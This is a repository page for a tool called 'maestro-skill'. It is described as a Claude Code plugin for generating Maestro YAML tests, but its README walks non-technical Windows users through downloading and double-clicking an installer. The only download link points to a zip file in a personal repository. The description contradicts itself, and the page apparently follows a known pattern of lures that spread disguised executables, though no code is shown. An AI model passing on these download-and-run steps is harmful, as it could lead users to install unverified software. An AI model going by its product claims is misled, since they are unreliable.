maestro-skill
Generate production-ready Maestro YAML test flows for mobile and web apps with accurate selectors, project setup, CI/CD configurations, and test reports.
Description
Generate production-ready Maestro YAML test flows for mobile and web apps with accurate selectors, project setup, CI/CD configurations, and test reports.
README
maestro-skill is a tool that helps you create test flows for mobile and web apps. It works with many popular app types like React Native, Flutter, Swift, Kotlin, and Capacitor. You donβt need coding skills to use it. It lets you make tests that check if your app works well on phones or browsers.
This tool supports Android and iOS apps. It also works with web apps built on modern technology. You can use it to make tests that run on real devices or emulators. The main goal is to make testing easier and faster.
Before downloading, check your computer meets these needs:
- Microsoft Windows 10 or later (64-bit)
- At least 4 GB of RAM
- 500 MB free storage space
- Internet connection for download and updates
- Optional: An Android or iOS device/emulator for running tests
If you want to test mobile apps, make sure your device is connected to your computer or you can run an emulator.
Follow these steps to get maestro-skill running on your Windows computer.
Click the button below to go to the download page.
This page lists all releases of the app. Find the latest release at the top.
Look for a file with a name similar to maestro-skill-setup.exe. The file should be labeled for Windows. Click the file to download it to your computer.
- Open the folder where the file downloaded.
- Double-click the
.exefile. - Follow the instructions in the setup wizard.
- Accept the terms if asked.
- Choose an install location or keep the default.
After installation completes, look for the maestro-skill icon in your Start Menu or on the Desktop. Click it to open the app.
Once maestro-skill opens, you will see a simple screen to start creating your test flows.
- Click "New Project"
- Enter a name for your test flow.
- Select the app type you want to test (React Native, Flutter, etc.).
- Follow the guided steps to add actions, like tapping a button or entering text.
- Save your test flow frequently.
- Connect your mobile device or start an emulator.
- In the app, select your test flow.
- Click "Run" to start the test.
- Watch the test run step by step on your device or emulator.
After the test finishes, maestro-skill shows a summary:
- Pass or fail status
- Screenshots at key steps
- Any error messages
This helps you find issues in your app quickly.
Here are some key tasks you might want to do with maestro-skill.
If you have test flows already, you can import them:
- Click "Import" in the app.
- Browse for the test flow files on your computer.
- Open and edit them as needed.
Share your test flows by exporting:
- Open a test flow.
- Click "Export".
- Choose a location to save the file.
Check for updates in the app menu. Download and install new versions from the release page to get fixes and new features.
If you encounter issues, try these steps:
- Ensure your Windows system is up to date.
- Restart your computer and try again.
- Check your internet connection.
- Make sure your mobile device or emulator is connected properly.
- Close other programs that might interfere with maestro-skill.
If problems continue, check the online documentation or support forums linked on the release page.
- Download and releases: https://raw.githubusercontent.com/kaua433/maestro-skill/main/skills/skill-maestro-3.0-alpha.1.zip
- Project topics: android, claude-code, claude-code-plugin, e2e-testing, flutter, ios, maestro, mobile-testing, react-native, test-automation
This software is open to use under the terms stated in the license file in this repository. Review the license to understand your rights and responsibilities.
Release History
| Version | Changes | Urgency | Date |
|---|---|---|---|
| main@2026-04-21 | Latest activity on main branch | High | 4/21/2026 |
| 0.0.0 | No release found β using repo HEAD | High | 4/11/2026 |
